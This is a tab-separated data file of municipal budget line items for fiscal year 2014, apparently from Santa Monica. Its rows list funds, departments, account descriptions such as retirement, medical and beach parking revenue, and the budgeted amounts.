10072	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562341.0	SMC- The Pico Promise		 Supplies and Expenses	2014	156782.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	156782.0
10073	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564132.0	INDEPENDENT LIVING SERVICE		 Supplies and Expenses	2014	165771.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	165771.0
10074	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
10075	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522620.0	RENT	804.0	 Supplies and Expenses	2014	18348.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18348.0
10076	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405920.0	TIDE SHUTTLE HOTEL REVENUE	650.0	Charges for Service	2014	-377195.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-377195.0
10077	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	6676300.0	0	0	0	0.0	61494	0.0	0	0	0	0	0.0	6737794.0
10078	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	164366.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	164366.0
10079	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	276339.0	0	0	0	0.0	0	-606.0	0	0	0	0	0.0	275733.0
10080	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	13905.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13905.0
10081	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	24296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24296.0
10082	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	33263.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33263.0
10083	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	77884.0	0	0	0	0.0	517	0.0	0	0	0	0	0.0	78401.0
10084	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	626.0
10085	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	210849.0	0	0	0	0.0	3235	0.0	0	0	0	0	0.0	214084.0
10086	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	100887.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100887.0
10087	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	8690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8690.0
10088	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	0.0	0	0	0	0.0	6732	0.0	0	0	0	0	0.0	6732.0
10089	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	136918.0	0	0	0	0.0	0	708.0	0	0	0	0	0.0	137626.0
10090	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	91185.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91185.0
10091	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	49380.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49380.0
10092	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	19081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19081.0
10093	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	109354.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	109354.0
10094	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563112.0	HEALTH CARE FOR SENIORS		 Supplies and Expenses	2014	93129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	93129.0
10095	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564111.0	CASE MANAGEMENT AND EDUCATION		 Supplies and Expenses	2014	93173.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	93173.0
10096	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565232.0	DOMESTIC VIOLENCE PROGRAM		 Supplies and Expenses	2014	79645.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79645.0
10097	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565271.0	SOJOURN/DOMESTIC VIOLENCE NTWR		 Supplies and Expenses	2014	7107.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7107.0
10098	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	12300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12300.0
10099	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	65666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65666.0
10100	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	81423.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	81423.0
10101	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	2662894.0	0	0	0	0.0	22913	0.0	0	0	0	0	0.0	2685807.0
10102	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	413862.0	0	0	0	0.0	-33475	0.0	0	0	0	0	0.0	380387.0
10103	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	45807.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45807.0
10104	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	129742.0	0	0	0	0.0	-17235	0.0	0	0	0	0	0.0	112507.0
10105	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	14148.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14148.0
10106	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	38497.0	0	0	0	0.0	278	0.0	0	0	0	0	0.0	38775.0
10107	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	8690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8690.0
10108	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	755173.0	0	0	0	10000.0	0	0.0	0	0	0	0	0.0	765173.0
10109	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	116045.0	0	0	0	0.0	1693	0.0	0	0	0	0	0.0	117738.0
10110	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	348548.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	348548.0
10111	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	428425.0	0	0	0	0.0	6594	0.0	0	0	0	0	0.0	435019.0
10112	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2014	720168.0	0	0	0	0.0	10775	0.0	0	0	0	0	0.0	730943.0
10113	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	112941.0	0	0	0	0.0	1670	515.0	0	0	0	0	0.0	115126.0
10114	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2014	38085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38085.0
10115	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	192799.0	0	0	0	0.0	2431	0.0	0	0	0	0	0.0	195230.0
10116	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	155317.0	0	0	0	0.0	2510	3062.0	0	0	0	0	0.0	160889.0
10117	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	10428.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10428.0
10118	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	194808.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	194808.0
10119	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	10390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10390.0
10120	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	174308.0	0	0	0	0.0	2140	0.0	0	0	0	0	0.0	176448.0
10121	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	1438006.0	0	0	0	0.0	0	12500.0	0	0	0	0	0.0	1450506.0
10122	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511748.0	DENTAL	806.0	Salaries and Wages	2014	25955.0	0	0	0	0.0	0	375.0	0	0	0	0	0.0	26330.0
10123	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511748.0	DENTAL	806.0	Salaries and Wages	2014	163846.0	0	0	0	8082.0	0	-375.0	0	0	0	0	0.0	171553.0
10124	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511749.0	VISION	806.0	Salaries and Wages	2014	15318.0	0	0	0	0.0	0	54.0	0	0	0	0	0.0	15372.0
10125	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2014	1112.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1112.0
10126	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511748.0	DENTAL	816.0	Salaries and Wages	2014	35048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35048.0
10127	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2014	8200.0	0	0	0	0.0	0	375.0	0	0	0	0	0.0	8575.0
10128	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2014	22616.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22616.0
10129	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	7539.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7539.0
10130	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	14097.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14097.0
10131	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511748.0	DENTAL	840.0	Salaries and Wages	2014	48705.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48705.0
10132	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511749.0	VISION	840.0	Salaries and Wages	2014	6191.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6191.0
10133	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	241346.0	0	0	0	3121.0	1680	4764.0	0	0	0	0	0.0	250911.0
10134	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	72445.0	0	0	0	51990.0	0	0.0	0	0	0	0	0.0	124435.0
10135	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	12128.0	0	0	0	7821.0	0	0.0	0	0	0	0	0.0	19949.0
10136	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	367.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	367.0
10137	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	3589.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3589.0
10138	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561131.0	OPCC-CASE MGMT-GENERAL FUND		 Supplies and Expenses	2014	121500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	121500.0
10139	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561143.0	ST JOE-SHELTER PLUS CARE PROG		 Supplies and Expenses	2014	36249.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36249.0
10140	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562121.0	COMPREHENSIVE CHILD CARE PROG		 Supplies and Expenses	2014	778884.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	778884.0
10141	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562153.0	FM SVC OF SM-EDISON LANGUAGE		 Supplies and Expenses	2014	60466.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60466.0
10142	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562281.0	YOUTH DEVELOPMENT PROJECT		 Supplies and Expenses	2014	275518.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	275518.0
10143	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562332.0	GROWING PLACE-MPCDC		 Supplies and Expenses	2014	171201.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	171201.0
10144	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563122.0	ADULT DAY CARE		 Supplies and Expenses	2014	132742.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	132742.0
10145	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	8456.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8456.0
10146	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	1755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1755.0
10147	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544190.0	USAR SUPPLIES	806.0	 Supplies and Expenses	2014	9225.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9225.0
10148	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400682.0	MEDICAL SUPPLIES REIMBURSEMENT	612.0	Charges for Service	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
10149	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	402740.0	SMURRF-CITY OF LA-CAPITAL	662.0	Other	2014	-161662.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-161662.0
10150	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	162814.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	162814.0
10151	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	4317313.0	0	0	0	0.0	-504892	0.0	0	0	0	0	0.0	3812421.0
10152	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	379327.0	0	0	0	0.0	-47983	0.0	0	0	0	0	0.0	331344.0
10153	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	3653.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3653.0
10154	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	171884.0	0	0	0	0.0	0	4167.0	0	0	0	0	0.0	176051.0
10155	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	332015.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	332015.0
10156	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	36462.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36462.0
10157	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	429730.0	0	0	0	0.0	6640	0.0	0	0	0	0	0.0	436370.0
10158	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	46852.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46852.0
10159	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	9975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9975.0
10160	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC	910.0	 Supplies and Expenses	2014	30764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30764.0
10161	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2014	1400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1400.0
10162	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2014	-918000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-918000.0
10163	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES		 Supplies and Expenses	2014	323.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	323.0
10164	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533650.0	CONF / MTGS / TRAVEL-TV	804.0	 Supplies and Expenses	2014	7140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7140.0
10165	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7500.0
10166	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
10167	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2014	-220548.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-220548.0
10168	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400771.0	OUTDOOR DINING REVENUE	618.0	Rentals	2014	-508645.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-508645.0
10169	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2014	-87911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-87911.0
10170	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-58000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-58000.0
10171	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401810.0	ENCROACHMENT REVENUE	622.0	Other	2014	-118000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-118000.0
10172	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105.0
10173	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400950.0	MOUNTAIN VIEW LEASE REVENUE	618.0	Rentals	2014	-356000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-356000.0
10174	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2014	444338.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	444338.0
10175	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2014	18401.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18401.0
10176	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	908.0	 Supplies and Expenses	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
10177	B1	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404400.0	AFFORD HSING PROD PRGM DEVELOP	622.0	Other	2014	-300000.0	0	0	0	0.0	0	-475017.0	0	0	0	0	0.0	-775017.0
10178	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	1804.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1804.0
10179	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	30522.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30522.0
10180	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	2832700.0	0	0	0	0.0	0	750000.0	0	0	0	0	0.0	3582700.0
10181	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2014	-235263.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-235263.0
10182	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400770.0	LEASE RENTAL REV-BEACH CLUB	618.0	Rentals	2014	-289614.0	0	0	0	0.0	-120208	0.0	0	0	0	0	0.0	-409822.0
10183	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DCAP	812.0	Salaries and Wages	2014	2172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2172.0
10184	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401260.0	BEACH PARKING	612.0	Charges for Service	2014	-9653422.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9653422.0
10185	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	27.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27.0
10186	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	96440.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	96440.0
10187	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522315.0	MULTIMEDIA		 Supplies and Expenses	2014	13633.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13633.0
10188	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544119.0	PUBLIC RELATIONS SVC.		 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
10189	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522114.0	UTIL-LIGHT/POWER-PARKING AUTH	804.0	 Supplies and Expenses	2014	98954.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	98954.0
10190	B1	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	407320.0	MALL PARKING LEVY	622.0	Other	2014	-605918.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-605918.0
10191	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407410.0	CONSTRUCTION & DEMOLITION	650.0	Charges for Service	2014	-285000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-285000.0
10192	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400790.0	OUTDOOR DINING-TRANSIT MALL AR	618.0	Rentals	2014	-71939.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-71939.0
